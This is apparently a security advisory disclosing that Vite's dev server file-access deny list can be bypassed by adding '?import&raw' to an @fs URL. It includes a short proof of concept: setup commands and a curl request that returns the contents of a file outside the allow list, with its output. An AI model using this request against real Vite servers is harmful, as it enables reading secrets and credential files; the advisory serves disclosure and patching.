Vite's `server.fs.deny` is bypassed when using `?import&raw`

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...